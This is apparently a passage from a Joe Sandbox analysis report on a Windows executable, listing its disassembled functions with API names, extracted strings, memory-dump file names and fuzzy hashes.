                                                          • Instruction ID: 33c3f8ea1e5ea5b2d713c650b896e94e2139365d8aeaa52d39523351b4f00c1b
                                                          • Opcode Fuzzy Hash: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
                                                          • Instruction Fuzzy Hash: DED15B36A15A42CAE754DF39D8547BD37A1FB85B58F104235EA0E87AA8EF38E844C740
                                                          Function 00007FF6A539F8D0 Relevance: 31.9, APIs: 20, Instructions: 1857COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: memcpy_s$_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 2880407647-0
                                                          • Opcode ID: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
                                                          • Instruction ID: 80918b124a373fe143718135899df27f39f369ced62315d7d98c8423b92ebba2
                                                          • Opcode Fuzzy Hash: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
                                                          • Instruction Fuzzy Hash: 3503C572A1A9C28FDB75CE259950AF937A5FBC5B88F400135DB0997B58EF39AD00CB40
                                                          Function 00007FF6A5400A6C Relevance: 30.2, APIs: 20, Instructions: 169clipboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                          • String ID:
                                                          • API String ID: 3222323430-0
                                                          • Opcode ID: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
                                                          • Instruction ID: ed64791782af32d01cb53f63b492b08d3b59849c4a37b4da664137ae8e90bf6d
                                                          • Opcode Fuzzy Hash: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
                                                          • Instruction Fuzzy Hash: E0716B21A1BA5282EB14EB15D4542BC27A1FFA6F94F904436D90EC77A5EF3CEE06C740
                                                          Function 00007FF6A541C6D4 Relevance: 28.9, APIs: 19, Instructions: 396windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
                                                          • String ID:
                                                          • API String ID: 1015379403-0
                                                          • Opcode ID: ba88133d2f5a7b231f36d1d998dbcfeff7436f98ceac3f624369f7db22e4d06e
                                                          • Instruction ID: ece7366a625bc5f29976cdeddce2a615a0a3e559a115faceda622eba0465cbb8
                                                          • Opcode Fuzzy Hash: ba88133d2f5a7b231f36d1d998dbcfeff7436f98ceac3f624369f7db22e4d06e
                                                          • Instruction Fuzzy Hash: C802F271A0E68285EB20CF20A9442BD67A1FB86F94F444231DA5E87BD6DF3CED91C710
                                                          Function 00007FF6A53B529C Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
                                                          • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                          • API String ID: 281475176-2761157908
                                                          • Opcode ID: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
                                                          • Instruction ID: f13d0d8e9831e202fed9864462c99ce1e829eb3fa41d05ac4ca39d15e7bb1d00
                                                          • Opcode Fuzzy Hash: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
                                                          • Instruction Fuzzy Hash: AFB22C72A2AD828BE725EE6594406FD3791FBD5B88F411135DA09D7B86FF38ED048B00
                                                          Function 00007FF6A5410AEC Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 388registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CloseValue$ConnectCreateRegistry
                                                          • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                          • API String ID: 3314541760-966354055
                                                          • Opcode ID: f35b1717c90297b3dec375812b5607ca0412ac78d5e46a27509539751eeaf4b6
                                                          • Instruction ID: d540d5a82b0e72e16aaef679d0b5c897cdf5db91227ecd8f181ef6d82f4a08f9
                                                          • Opcode Fuzzy Hash: f35b1717c90297b3dec375812b5607ca0412ac78d5e46a27509539751eeaf4b6
                                                          • Instruction Fuzzy Hash: C2028F66B19B42C5EB10DF66D4902AD37A0FB8AF88B049432DE0D8B756EF38E955C340
                                                          Function 00007FF6A53B2400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 366timeCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _get_daylight$ByteCharMultiWide_invalid_parameter_noinfo$InformationTimeZone
                                                          • String ID: -$:$:$?
                                                          • API String ID: 3440502458-92861585
                                                          • Opcode ID: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
                                                          • Instruction ID: 67f88f161a72c2c7c36bfa79d476e73de0a10d26d4f736a5996ff465d41cdf87
                                                          • Opcode Fuzzy Hash: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
                                                          • Instruction Fuzzy Hash: 9BE1E332A29E8286E724EF3198515B96791FFC6F84F459235FA4DC2A96EF3CDC418700
                                                          Function 00007FF6A53F72A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Time$File$FindLocalSystem$CloseFirst
                                                          • String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
                                                          • API String ID: 3232708057-3289030164
                                                          • Opcode ID: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
                                                          • Instruction ID: fa41297049d793b5153ef8997fa30d8894cc95bf7e8d5e0f96bdfbf44a974edf
                                                          • Opcode Fuzzy Hash: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
                                                          • Instruction Fuzzy Hash: 38D19262B29E52D5EB10DB65D8510FE6761FBC1F94F800032EA4D9BAA9EF7CD908C740
                                                          Function 00007FF6A53FA350 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 112fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                          • String ID: *.*
                                                          • API String ID: 1409584000-438819550
                                                          • Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
                                                          • Instruction ID: d9d50f095a8ca157330d9d33621799df7fb264a409dce3c6dda2ef5784e65117
                                                          • Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
                                                          • Instruction Fuzzy Hash: 71418321A1AA5295EB00CB15E8442B963A1FF96FA4F805171DD6ECB794EF7CE80AC700
                                                          Function 00007FF6A53ED87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: SendString
                                                          • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                          • API String ID: 890592661-1007645807
                                                          • Opcode ID: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
                                                          • Instruction ID: a60a23fc7a4ee8f86858ee988e89dbd1ac1c125e413b27cad5706283e9654232
                                                          • Opcode Fuzzy Hash: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
                                                          • Instruction Fuzzy Hash: A9216F22F1AD9292EB20DB24E8546BA6370FBDAF48F814031E95DC7959EE3CDD05C700
                                                          Function 00007FF6A53FA4F8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                          • String ID: *.*
                                                          • API String ID: 2640511053-438819550
                                                          • Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
                                                          • Instruction ID: 2fd542118076cbeac7bd1d546022f26f152370d4ae1210a4dfefba6a819246f1
                                                          • Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
                                                          • Instruction Fuzzy Hash: E9417D11A1EE4295EA10DB15A8546BA6390EF96FE4F805131DD6ECB6D5EF3CE80EC700
                                                          Function 00007FF6A541055C Relevance: 16.9, APIs: 11, Instructions: 371registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: QueryValue$Close$BuffCharConnectOpenRegistryUpper
                                                          • String ID:
                                                          • API String ID: 3218304859-0
                                                          • Opcode ID: 0afe41057b8898e0853839340af92bd1cef78398de4cb1f64e1c8af1b7f8834d
                                                          • Instruction ID: 38205281c8fccd888b055e7dc2101ee137ff7f0a8e44903d405c7f051ca811e1
                                                          • Opcode Fuzzy Hash: 0afe41057b8898e0853839340af92bd1cef78398de4cb1f64e1c8af1b7f8834d
                                                          • Instruction Fuzzy Hash: C0F16C32B16B42CAEB20DF65D4902AC37A0FB9AF98B018531DE4D87B95DF38E851C744
                                                          Function 00007FF6A53F83D4 Relevance: 16.8, APIs: 11, Instructions: 255comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                                          • String ID:
                                                          • API String ID: 2762341140-0
                                                          • Opcode ID: 3f2bc404d53d5998161f0ee2b8df4f9bc3160e202cb50a098f9587f0d2c0f7e1
                                                          • Instruction ID: 9ff2f3f0a389c1d43c6428534cd734eca01627a91c23c3b537e0207012583e9e
                                                          • Opcode Fuzzy Hash: 3f2bc404d53d5998161f0ee2b8df4f9bc3160e202cb50a098f9587f0d2c0f7e1
                                                          • Instruction Fuzzy Hash: D9C15736A15F8196EB14DF26E8842AD77A0FB8AF94F054036DE4E87725DF38D849C700
                                                          Function 00007FF6A53DC5FC Relevance: 16.7, APIs: 11, Instructions: 166COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                          • String ID:
                                                          • API String ID: 1255039815-0
                                                          • Opcode ID: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
                                                          • Instruction ID: 7847dfc9cfdbf68112b806a3c38d16a46c7ff9171f36924e70ada8b385c3c707
                                                          • Opcode Fuzzy Hash: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
                                                          • Instruction Fuzzy Hash: A3617D23B25A568AEB10DFA1D8449EC37F4FB85F88B448435DE0A97796EF38D949C340
                                                          Function 00007FF6A54066B4 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 182comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                                          • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                          • API String ID: 636576611-1287834457
                                                          • Opcode ID: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
                                                          • Instruction ID: 8132bb49ae51927af7ee9c816a6b5756b650c59a0b63ef2c002e3422cf751915
                                                          • Opcode Fuzzy Hash: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
                                                          • Instruction Fuzzy Hash: 49713922A0AA4685FB14DF26E4502BD37A0FF96F98B645436DE0E8B765DF3CE845C340
                                                          Function 00007FF6A5406C34 Relevance: 15.3, APIs: 10, Instructions: 296fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                          • String ID:
                                                          • API String ID: 2395222682-0
                                                          • Opcode ID: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
                                                          • Instruction ID: f896a8d1cea9acf3a86cca47ccb59d54a106a0920639bdb81d3db56c32d861e6
                                                          • Opcode Fuzzy Hash: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
                                                          • Instruction Fuzzy Hash: 38D13936B0AB5686FB10DF65D4402AD73A1FBA9F88B204036DE4E97B58DE3CD845C340
                                                          Function 00007FF6A541A59C Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$LongWindow
                                                          • String ID:
                                                          • API String ID: 312131281-0
                                                          • Opcode ID: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
                                                          • Instruction ID: 3fd2174eb765cc0e772984107ae5a9560afce6915d1742863c44e1863a5babc0
                                                          • Opcode Fuzzy Hash: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
                                                          • Instruction Fuzzy Hash: 1871BE36616A9286E720CF65E8446ED7760FB8AF94F404132DE4D87BA4CF3CD986C700
                                                          Function 00007FF6A5400D24 Relevance: 15.1, APIs: 10, Instructions: 86clipboardmemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                          • String ID:
                                                          • API String ID: 1737998785-0
                                                          • Opcode ID: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
                                                          • Instruction ID: 497fd605d97dac273cfc5b07ced0f3c210b74a3fbb75bf87ba752c25d4a530ae
                                                          • Opcode Fuzzy Hash: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
                                                          • Instruction Fuzzy Hash: E2416562A1AA4282EB54DB16D49437C3B60FFA6F85F448435CA0E8B7A2DF7CE8418740
                                                          Function 00007FF6A53EB7C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
